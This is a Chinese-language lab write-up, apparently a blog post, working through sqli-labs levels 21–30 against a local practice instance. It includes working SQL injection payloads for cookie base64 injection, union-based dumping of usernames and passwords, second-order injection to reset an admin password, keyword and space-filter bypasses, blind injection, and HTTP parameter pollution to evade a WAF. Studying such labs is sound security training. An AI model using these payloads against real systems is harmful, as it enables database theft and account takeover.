sql-labs(21-30)学习记录

第二十一关 cookie base64注入

输入正确的账密 跟20关差不多

抓删除cookie的包

源码:

跟前面那一关不一样的是cookie这里是进行了加密,通过base64解密得出:

那么注入的时候也要注意加密形式,将‘#进行加密--JyM=

出现报错信息 ye开始报错注入,,注意就是要进行base63加密:

') and updatexml(1,concat(0x7e,database(),0x7e),1)#

第二十二关

输入正确账号得

源码:

跟二十一关一样就是闭合的方式不一致

第二十三关 单引号闭合

跟之前的不一样啦

输入单引号报错

输入#感觉像是过滤了一些字符看看源码,,是滴没错就是过滤啦

那就用 or ’1‘=’1进行单引号闭合测试 

正确 可以输出sql语句进行查看闭合

进行联合注入payload:http://localhost/Less-23/?id=-1' union select 1,database(),3  or '1'='1

查表:http://localhost/Less-23/?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3  or '1'='1

查列:http://localhost/Less-23/?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3  or '1'='1

查内容:http://localhost/Less-23/?id=-1' union select 1,(select group_concat(username,password)from users),3  or '1'='1

第二十四关 二次注入

主界面多了一些功能点

输入正确的账密 得到的是一个改密码的操作,看看源代码:

函数-mysql_real_escape_string:转义 SQL 语句中使用的字符串中的特殊字符

可以利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存到数据库的时候是没有转义的,以原本数据存入数据库的  在观察注册页面的源代码中可以得知就是一个简单的注册。

当我们修改密码的时候,对于账户名是没有进行过滤的。

假设数据库中存在一个admin用户,所以我们直接注册一个 admin‘#,根据源代码构造闭合 为的是用admin’#修改admin的账密

注册  admin'#-123456

注册成功后进行登录直接修改密码为11111,通过bp抓包可以发现admin的密码被修改

为了更好的看到在更新密码处看到完整的闭合语句直接输出,直接就是一个更新密码的操作

二次注入的原理:

(1)后端(PHP)代码使用函数mysql_real_escape_string对特殊字符进行转义

(2)注册的时候输入的语句在保存进数据库(mysql)时没有转义

第二十五关 双写绕过

主界面

源代码:

出现黑名单

但是只过滤一次

单引号报错

正常

联合注入

回显位置:

报错注入

他过滤了or 那就双写绕过

payload:http://localhost/Less-25/?id=-1' oorr updatexml(1,concat(0x7e,database(),0x7e),1)--+

第二十五a关

数字型注入

看源码不能使用报错注入

联合注入

http://localhost/Less-25a?id=-1  union select 1,database(),3#

使用逻辑符号绕过

&&和||来绕“or”和“and”过滤机制

盲注

通过截取函数 可以进行猜解

第二十六关逻辑运算符、注释符以及空格过滤

源码:将逻辑运算符,注释符以及空格给过滤

可以使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换,当网页返回错误信息时,可以使用不需要空格的报错注入,如果没有返回错误信息也可以使用其他字符替代空格。注意在 windows 下由于 apache 的解析的问题,无法使用一些特殊的字符代替空格
参考大大:https://www.cnblogs.com/linfangnan/p/13940107.html

编码绕过:

http://192.168.92.148/Less-26a/?id=1%27)%a0OorRDER%a0BY%a03||(%271

我使用了docker安装了sqli-labs然后再使用编码做的  是可以滴

绕过方式参考大大:SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

单引号报错:

两个单引号正常,说明存在单引号闭合的字符型注入

报错注入:

1.对于被过滤的字符,可以使用其他的字符进行替代,使用 “%a0” 或 “%0b” 替代空格,使用 “||” 替代 “or”,使用 “%26%26” 替代 “and”

将sql语句输出:

updatexml语句

http://localhost/Less-26/?id=1' || updatexml(1,concat(0x7e,database(),0x7e),1) || '

extractvalue语句

http://localhost/Less-26/?id=1' || (extractvalue(1,concat(0x7e,database()))) || '

第二十六a 

源码:

绕过方式

  • 针对注释(/*  #  --  /),可以使用引号闭合绕过。
  • 针对关键字( and  or ),可以使用双写绕过。
  • 针对空格,可以使用 %a0 绕过。

且不显示错误信息,不能使用报错注入

闭合:http://localhost/Less-26a/?id=1') | | ('1

ps:
一:因正确回显非固定字符串,可利用特殊 URL 编码代替空格,仍使用union加空格连接select联合注入。
二:因错误回显是 MySQL 错误信息,可利用报错注入,首选是updatexml()注入与extractvalue()注入,因其他方法仍不能避开空格的使用。
三:基于Bool 盲注,构造注入语句避开空格。
四:基于延时盲注,构造注入语句避开空格

1.盲注

id=1%27)%a0anandd%a0length((database()))%3E8%a0anandd(%27

大于8报错

大于7正常

猜解数据库的第一个ascii字母为115

?id=1')%a0anandd%a0ascii(substr((database()),1,1))>114%a0anandd('1 

2.联合注入

?id=0')union%a0select%a01,(database()),3%a0anandd('

第二十七关

输入1

输入0,没有具体的报错信息

源码---过滤

联合注入:

没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。

判断回显位置:?id=0'%a0UniOn%a0SelECT%a01,2,3;%00

报错注入:

?id=1'or(updatexml(1,concat(0x7e,(database())),1))or'0

第二十七a关 

源码:

单引号正常双引号报错,不显示报错信息

联合注入:

采用双写或者是大小写混合绕过即可

?id=0"uniunionon%0AseleSelectct%0A1,database(),3%0Aand"1

id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Aand"1

盲注:

?id=1"and%a0length((database()))>7%a0and"1

第二十八关

源码:

\s表示空格,+表示匹配一次或多次,/i表示不区分大小写

使用重写绕过写:

?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),3%0aand('1

第二十八a

源码:

只过滤了union+select其他的没有被过滤且不能使用报错注入

联合注入:

可以使用双写绕过他只过滤一次

布尔盲注:

大于7正常

大于8不正常呢

第二十九关 WAF绕过

源码:

使用报错注入即可

http://192.168.92.148/Less-29/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

访问login.php  绕过WAF

源码:

 java_implimentation() 方法获取到参数,接着使用 GET 方法获取 id 参数,并通过 whitelist() 方法判断参数是否合法

对输入的数据进行正则匹配-必须是数字。^-匹配输入的行首;\d-匹配一个数字字符[0-9];+-表示匹配一次或多次;$-匹配输入的尾部

explode 方法可以使一个字符串按照某一字符串作为边界点来分隔成数组

HTTP 参数污染绕过

绕过:参考大大-https://www.cnblogs.com/linfangnan/p/13946722.html

绕过的方法是 HPP (HTTP Parameter Pollution),也就是 HTTP 参数污染。我们注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入。

http://192.168.92.148/Less-29/login.php?id=1&id=2

单引号报错且出现报错语句  可以使用报错注入

http://192.168.92.148/Less-29/login.php?id=1&id=2%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

第三十关

源码:

跟前面那一关差不多就是单引号变成双引号

http://192.168.92.148/Less-30/login.php?id=1&id=1%22%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值